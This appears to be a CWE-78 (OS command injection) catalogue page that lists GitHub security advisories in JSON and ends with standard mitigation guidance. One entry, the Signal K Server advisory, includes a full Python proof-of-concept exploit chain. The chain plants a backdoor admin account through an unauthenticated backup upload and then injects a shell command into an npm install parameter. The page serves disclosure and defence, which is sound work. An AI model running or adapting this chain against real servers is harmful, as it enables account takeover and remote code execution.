CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8270 vulnerabilities reference this CWE, most recent first.
GHSA-W38F-4QH6-G599
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42Netis WF2780 2.3.40404 and WF2411 1.1.29629 devices allow Shell Metacharacter Injection into the ping command, leading to remote code execution.
{
"affected": [],
"aliases": [
"CVE-2021-26747"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-18T21:15:00Z",
"severity": "CRITICAL"
},
"details": "Netis WF2780 2.3.40404 and WF2411 1.1.29629 devices allow Shell Metacharacter Injection into the ping command, leading to remote code execution.",
"id": "GHSA-w38f-4qh6-g599",
"modified": "2022-05-24T17:42:38Z",
"published": "2022-05-24T17:42:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26747"
},
{
"type": "WEB",
"url": "https://github.com/yhstar00/netis-route"
},
{
"type": "WEB",
"url": "http://www.netis-systems.com.tw"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W38X-3H8W-63JM
Vulnerability from github – Published: 2022-05-17 00:16 – Updated: 2022-05-17 00:16PTW-WMS1 firmware version 2.000.012 allows remote attackers to execute arbitrary OS commands via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2017-10902"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-12-01T14:29:00Z",
"severity": "CRITICAL"
},
"details": "PTW-WMS1 firmware version 2.000.012 allows remote attackers to execute arbitrary OS commands via unspecified vectors.",
"id": "GHSA-w38x-3h8w-63jm",
"modified": "2022-05-17T00:16:24Z",
"published": "2022-05-17T00:16:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10902"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN98295787/index.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W3G9-VQJW-3QR3
Vulnerability from github – Published: 2026-01-22 03:31 – Updated: 2026-01-22 03:31AP180 series with firmware versions prior to AP_RGOS 11.9(4)B1P8 contains an OS command injection vulnerability. If this vulnerability is exploited, arbitrary commands may be executed on the devices.
{
"affected": [],
"aliases": [
"CVE-2026-23699"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-22T02:15:52Z",
"severity": "HIGH"
},
"details": "AP180 series with firmware versions prior to AP_RGOS 11.9(4)B1P8 contains an OS command injection vulnerability. If this vulnerability is exploited, arbitrary commands may be executed on the devices.",
"id": "GHSA-w3g9-vqjw-3qr3",
"modified": "2026-01-22T03:31:28Z",
"published": "2026-01-22T03:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23699"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN86850670"
},
{
"type": "WEB",
"url": "https://www.ruijie.co.jp/products/rg-ap180-pe_p432111650928590848.html#productDocument"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W3P4-PRCF-CGM4
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2024-04-04 00:27A vulnerability in the CLI of Cisco Firepower Threat Defense (FTD) Software could allow an authenticated, local attacker to perform a command injection attack. The vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by injecting commands into arguments for a specific command. A successful exploit could allow the attacker to execute commands with root privileges.
{
"affected": [],
"aliases": [
"CVE-2019-1699"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-03T16:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the CLI of Cisco Firepower Threat Defense (FTD) Software could allow an authenticated, local attacker to perform a command injection attack. The vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by injecting commands into arguments for a specific command. A successful exploit could allow the attacker to execute commands with root privileges.",
"id": "GHSA-w3p4-prcf-cgm4",
"modified": "2024-04-04T00:27:15Z",
"published": "2022-05-24T16:45:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1699"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190501-ftd-cmd-inject"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W3PQ-9JQC-2Q4G
Vulnerability from github – Published: 2026-05-29 12:31 – Updated: 2026-06-01 21:30Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Console WebUI in Waterfall WF-500 TX and RX Hosts in version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to execute arbitrary operating system commands on the device.
{
"affected": [],
"aliases": [
"CVE-2025-41276"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T12:16:24Z",
"severity": "CRITICAL"
},
"details": "Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) in the Console WebUI in Waterfall WF-500 TX and RX Hosts in version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to execute arbitrary operating system commands on the device.",
"id": "GHSA-w3pq-9jqc-2q4g",
"modified": "2026-06-01T21:30:41Z",
"published": "2026-05-29T12:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41276"
},
{
"type": "WEB",
"url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2025-41276"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W3X5-7C4C-66P9
Vulnerability from github – Published: 2026-01-02 15:11 – Updated: 2026-01-02 15:11Summary
An unauthenticated attacker can pollute the internal state (restoreFilePath) of the server via the /skServer/validateBackup endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., security.json, package.json), leading to account takeover and Remote Code Execution (RCE).
Details
The vulnerability is caused by the use of a module-level global variable restoreFilePath in src/serverroutes.ts, which is shared across all requests.
Vulnerable Code Analysis:
1. Global State: restoreFilePath is defined at the top level of the module.
typescript
// src/serverroutes.ts
let restoreFilePath: string
2. Unauthenticated State Pollution: The /skServer/validateBackup endpoint updates this variable. Crucially, this endpoint lacks authentication middleware, allowing any user to access it.
typescript
app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) => {
// ... handles file upload ...
restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path
})
3. Restore Hijacking: The /skServer/restore endpoint uses the polluted restoreFilePath to perform the restoration.
typescript
app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) => {
// ...
const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path
// ...
})
Exploit Chain:
1. Pollution: Attacker uploads a malicious zip file to /validateBackup. The server saves it and updates restoreFilePath to point to this malicious file.
2. Hijacking: When /restore is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files.
3. Backdoor: The attacker overwrites security.json to add a new administrator account.
4. RCE: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (/skServer/appstore/install/...) to execute arbitrary system commands (e.g., npm install injection).
PoC
Here is a complete Python script to reproduce the full exploit chain.
import requests
import zipfile
import io
import json
import time
# Configuration
TARGET_URL = "http://localhost:3000"
BACKDOOR_USER = "hacker"
BACKDOOR_PASS = "hacked1234"
def step1_plant_backdoor():
print("[*] Step 1: Planting Backdoor via State Pollution...")
# 1. Create malicious zip with security.json
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as z:
# Add backdoor admin user
security_config = {
"users": [{
"username": BACKDOOR_USER,
"password": BACKDOOR_PASS,
"permissions": "admin"
}]
}
z.writestr("security.json", json.dumps(security_config))
# Enable security to make the backdoor effective
z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}}))
zip_buffer.seek(0)
# 2. Pollute State (Unauthenticated)
print(" [+] Sending malicious backup to /validateBackup...")
res = requests.post(f"{TARGET_URL}/skServer/validateBackup",
files={'file': ('malicious.zip', zip_buffer, 'application/zip')})
if res.status_code != 200:
print(" [-] Failed to pollute state.")
return False
# 3. Trigger Restore (Hijacking)
print(" [+] Triggering restore to overwrite server config...")
# Note: In a real attack, if /restore is protected, attacker waits for admin to use it.
# Here we assume we can trigger it or security is currently off.
res = requests.post(f"{TARGET_URL}/skServer/restore", json={"security.json": True, "settings.json": True})
if res.status_code in [200, 202]:
print(" [+] Restore triggered successfully. Backdoor planted.")
print(" [!] PLEASE RESTART THE SERVER to load the new configuration.")
return True
else:
print(f" [-] Restore failed: {res.status_code} {res.text}")
return False
def step2_execute_rce():
print("\n[*] Step 2: Executing RCE as Backdoor User...")
# 1. Login
session = requests.Session()
login_payload = {"username": BACKDOOR_USER, "password": BACKDOOR_PASS}
res = session.post(f"{TARGET_URL}/signalk/v1/auth/login", json=login_payload)
if res.status_code != 200:
print(" [-] Login failed. Did you restart the server?")
return
token = res.json()['token']
print(" [+] Login successful. Authenticated as Admin.")
# 2. RCE Payload (Windows Example)
# Injecting command into version parameter of npm install
# Command: echo RCE_SUCCESS > rce_proof.txt
cmd_payload = "1.0.0 & echo RCE_SUCCESS > rce_proof.txt &"
# We need a valid package name to bypass existence check
package_name = "@signalk/freeboard-sk"
print(f" [+] Sending RCE payload: {cmd_payload}")
headers = {'Authorization': f'Bearer {token}'}
try:
session.post(f"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}",
headers=headers, timeout=5)
except:
pass # Timeout is expected as the command might hang or take time
print(" [+] Payload sent. Check for 'rce_proof.txt' in server root.")
if __name__ == "__main__":
# Run Step 1, then restart server manually, then Run Step 2
# step1_plant_backdoor()
step2_execute_rce()
Impact
Remote Code Execution (RCE), Account Takeover, Denial of Service.
Verified: RCE is demonstrated by creating a file named rce_proof.txt containing the text "RCE_SUCCESS" on the server filesystem using the exploit chain.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.19.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66398"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-02T15:11:49Z",
"nvd_published_at": "2026-01-01T18:15:40Z",
"severity": "CRITICAL"
},
"details": "### Summary\nAn unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator\u0027s \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE).\n\n### Details\nThe vulnerability is caused by the use of a module-level global variable `restoreFilePath` in `src/serverroutes.ts`, which is shared across all requests.\n\n**Vulnerable Code Analysis:**\n1. **Global State**: `restoreFilePath` is defined at the top level of the module.\n ```typescript\n // src/serverroutes.ts\n let restoreFilePath: string\n ```\n2. **Unauthenticated State Pollution**: The `/skServer/validateBackup` endpoint updates this variable. Crucially, this endpoint **lacks authentication middleware**, allowing any user to access it.\n ```typescript\n app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) =\u003e {\n // ... handles file upload ...\n restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path\n })\n ```\n3. **Restore Hijacking**: The `/skServer/restore` endpoint uses the polluted `restoreFilePath` to perform the restoration.\n ```typescript\n app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) =\u003e {\n // ...\n const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path\n // ...\n })\n ```\n\n**Exploit Chain:**\n1. **Pollution**: Attacker uploads a malicious zip file to `/validateBackup`. The server saves it and updates `restoreFilePath` to point to this malicious file.\n2. **Hijacking**: When `/restore` is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker\u0027s malicious files.\n3. **Backdoor**: The attacker overwrites `security.json` to add a new administrator account.\n4. **RCE**: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (`/skServer/appstore/install/...`) to execute arbitrary system commands (e.g., `npm install` injection).\n\n### PoC\nHere is a complete Python script to reproduce the full exploit chain.\n\n```python\nimport requests\nimport zipfile\nimport io\nimport json\nimport time\n\n# Configuration\nTARGET_URL = \"http://localhost:3000\"\nBACKDOOR_USER = \"hacker\"\nBACKDOOR_PASS = \"hacked1234\"\n\ndef step1_plant_backdoor():\n print(\"[*] Step 1: Planting Backdoor via State Pollution...\")\n \n # 1. Create malicious zip with security.json\n zip_buffer = io.BytesIO()\n with zipfile.ZipFile(zip_buffer, \u0027w\u0027) as z:\n # Add backdoor admin user\n security_config = {\n \"users\": [{\n \"username\": BACKDOOR_USER,\n \"password\": BACKDOOR_PASS, \n \"permissions\": \"admin\"\n }]\n }\n z.writestr(\"security.json\", json.dumps(security_config))\n # Enable security to make the backdoor effective\n z.writestr(\"settings.json\", json.dumps({\"security\": {\"strategy\": \"./tokensecurity\"}}))\n zip_buffer.seek(0)\n\n # 2. Pollute State (Unauthenticated)\n print(\" [+] Sending malicious backup to /validateBackup...\")\n res = requests.post(f\"{TARGET_URL}/skServer/validateBackup\", \n files={\u0027file\u0027: (\u0027malicious.zip\u0027, zip_buffer, \u0027application/zip\u0027)})\n if res.status_code != 200:\n print(\" [-] Failed to pollute state.\")\n return False\n\n # 3. Trigger Restore (Hijacking)\n print(\" [+] Triggering restore to overwrite server config...\")\n # Note: In a real attack, if /restore is protected, attacker waits for admin to use it.\n # Here we assume we can trigger it or security is currently off.\n res = requests.post(f\"{TARGET_URL}/skServer/restore\", json={\"security.json\": True, \"settings.json\": True})\n \n if res.status_code in [200, 202]:\n print(\" [+] Restore triggered successfully. Backdoor planted.\")\n print(\" [!] PLEASE RESTART THE SERVER to load the new configuration.\")\n return True\n else:\n print(f\" [-] Restore failed: {res.status_code} {res.text}\")\n return False\n\ndef step2_execute_rce():\n print(\"\\n[*] Step 2: Executing RCE as Backdoor User...\")\n \n # 1. Login\n session = requests.Session()\n login_payload = {\"username\": BACKDOOR_USER, \"password\": BACKDOOR_PASS}\n res = session.post(f\"{TARGET_URL}/signalk/v1/auth/login\", json=login_payload)\n \n if res.status_code != 200:\n print(\" [-] Login failed. Did you restart the server?\")\n return\n \n token = res.json()[\u0027token\u0027]\n print(\" [+] Login successful. Authenticated as Admin.\")\n\n # 2. RCE Payload (Windows Example)\n # Injecting command into version parameter of npm install\n # Command: echo RCE_SUCCESS \u003e rce_proof.txt\n cmd_payload = \"1.0.0 \u0026 echo RCE_SUCCESS \u003e rce_proof.txt \u0026\"\n \n # We need a valid package name to bypass existence check\n package_name = \"@signalk/freeboard-sk\" \n \n print(f\" [+] Sending RCE payload: {cmd_payload}\")\n headers = {\u0027Authorization\u0027: f\u0027Bearer {token}\u0027}\n try:\n session.post(f\"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}\", \n headers=headers, timeout=5)\n except:\n pass # Timeout is expected as the command might hang or take time\n\n print(\" [+] Payload sent. Check for \u0027rce_proof.txt\u0027 in server root.\")\n\nif __name__ == \"__main__\":\n # Run Step 1, then restart server manually, then Run Step 2\n # step1_plant_backdoor()\n step2_execute_rce()\n```\n\n### Impact\nRemote Code Execution (RCE), Account Takeover, Denial of Service.\n**Verified**: RCE is demonstrated by creating a file named `rce_proof.txt` containing the text \"RCE_SUCCESS\" on the server filesystem using the exploit chain.",
"id": "GHSA-w3x5-7c4c-66p9",
"modified": "2026-01-02T15:11:50Z",
"published": "2026-01-02T15:11:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-w3x5-7c4c-66p9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66398"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/commit/5c211eaf33f0ccadbaed6720264780d92afbd7f8"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)"
}
GHSA-W3X6-6HJ5-2VV5
Vulnerability from github – Published: 2023-10-03 00:30 – Updated: 2024-04-04 08:01Netis N3Mv2-V1.0.1.865 was discovered to contain a command injection vulnerability via the Hostname parameter within the WAN settings. This vulnerability is exploited via a crafted payload.
{
"affected": [],
"aliases": [
"CVE-2023-43892"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-02T22:15:10Z",
"severity": "CRITICAL"
},
"details": "Netis N3Mv2-V1.0.1.865 was discovered to contain a command injection vulnerability via the Hostname parameter within the WAN settings. This vulnerability is exploited via a crafted payload.",
"id": "GHSA-w3x6-6hj5-2vv5",
"modified": "2024-04-04T08:01:25Z",
"published": "2023-10-03T00:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43892"
},
{
"type": "WEB",
"url": "https://github.com/adhikara13/CVE/blob/main/netis_N3/blind%20command%20injection%20in%20hostname%20parameter%20in%20wan%20settings.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W3XH-4XQ9-G5FM
Vulnerability from github – Published: 2025-07-11 18:30 – Updated: 2025-07-11 18:30An Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the CLI of Juniper Networks Junos OS and Junos OS Evolved allows a high privileged, local attacker to escalated their privileges to root.
When a user provides specifically crafted arguments to the 'request system logout' command, these will be executed as root on the shell, which can completely compromise the device. This issue affects:
Junos OS:
- all versions before 21.2R3-S9,
- 21.4 versions before 21.4R3-S8,
- 22.2 versions before 22.2R3-S6,
- 22.3 versions before 22.3R3-S3,
- 22.4 versions before 22.4R3-S6,
- 23.2 versions before 23.2R2-S1,
- 23.4 versions before 23.4R1-S2, 23.4R2;
Junos OS Evolved:
- all versions before 22.4R3-S6-EVO,
- 23.2-EVO versions before 23.2R2-S1-EVO,
- 23.4-EVO versions before 23.4R1-S2-EVO, 23.4R2-EVO.
{
"affected": [],
"aliases": [
"CVE-2025-52988"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-11T16:15:26Z",
"severity": "HIGH"
},
"details": "An Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) vulnerability in the CLI of Juniper Networks Junos OS and Junos OS Evolved allows a high privileged, local attacker to escalated their privileges to root.\n\nWhen a user provides specifically crafted arguments to the \u0027request system logout\u0027 command, these will be executed as root on the shell, which can completely compromise the device.\nThis issue affects:\n\nJunos OS:\u00a0\n\n\n\n * all versions before 21.2R3-S9,\n * 21.4 versions before 21.4R3-S8,\n * 22.2 versions before 22.2R3-S6,\n * 22.3 versions before 22.3R3-S3,\n * 22.4 versions before 22.4R3-S6,\n * 23.2 versions before 23.2R2-S1,\n * 23.4 versions before 23.4R1-S2, 23.4R2;\n\n\n\n\nJunos OS Evolved:\n\n\n\n * all versions before 22.4R3-S6-EVO,\n * 23.2-EVO versions before 23.2R2-S1-EVO,\n * 23.4-EVO versions before 23.4R1-S2-EVO, 23.4R2-EVO.",
"id": "GHSA-w3xh-4xq9-g5fm",
"modified": "2025-07-11T18:30:34Z",
"published": "2025-07-11T18:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52988"
},
{
"type": "WEB",
"url": "https://supportportal.juniper.net/JSA100095"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W427-F3FP-6X6X
Vulnerability from github – Published: 2022-05-01 02:07 – Updated: 2022-05-01 02:07vim 6.3 before 6.3.082, with modelines enabled, allows external user-assisted attackers to execute arbitrary commands via shell metacharacters in the (1) glob or (2) expand commands of a foldexpr expression for calculating fold levels.
{
"affected": [],
"aliases": [
"CVE-2005-2368"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2005-07-26T04:00:00Z",
"severity": "HIGH"
},
"details": "vim 6.3 before 6.3.082, with modelines enabled, allows external user-assisted attackers to execute arbitrary commands via shell metacharacters in the (1) glob or (2) expand commands of a foldexpr expression for calculating fold levels.",
"id": "GHSA-w427-f3fp-6x6x",
"modified": "2022-05-01T02:07:29Z",
"published": "2022-05-01T02:07:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2005-2368"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11302"
},
{
"type": "WEB",
"url": "http://lists.grok.org.uk/pipermail/full-disclosure/2005-July/035402.html"
},
{
"type": "WEB",
"url": "http://www.guninski.com/where_do_you_want_billg_to_go_today_5.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2005-745.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/14374"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W45W-C9PR-P65F
Vulnerability from github – Published: 2026-05-20 21:31 – Updated: 2026-06-30 03:36A potential security vulnerability has been identified in the HP Linux Imaging and Printing Software. This potential vulnerability may allow escalation of privileges and/or arbitrary code execution via operating system command injection.
{
"affected": [],
"aliases": [
"CVE-2026-8632"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-20T21:16:18Z",
"severity": "HIGH"
},
"details": "A potential security vulnerability has been identified in the HP Linux Imaging and Printing Software. This potential vulnerability may allow escalation of privileges and/or arbitrary code execution via operating system command injection.",
"id": "GHSA-w45w-c9pr-p65f",
"modified": "2026-06-30T03:36:45Z",
"published": "2026-05-20T21:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8632"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26228"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26297"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26335"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-8632"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480297"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-8632.json"
},
{
"type": "WEB",
"url": "https://support.hp.com/us-en/document/ish_14942099-14942126-16/hpsbpi04118"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
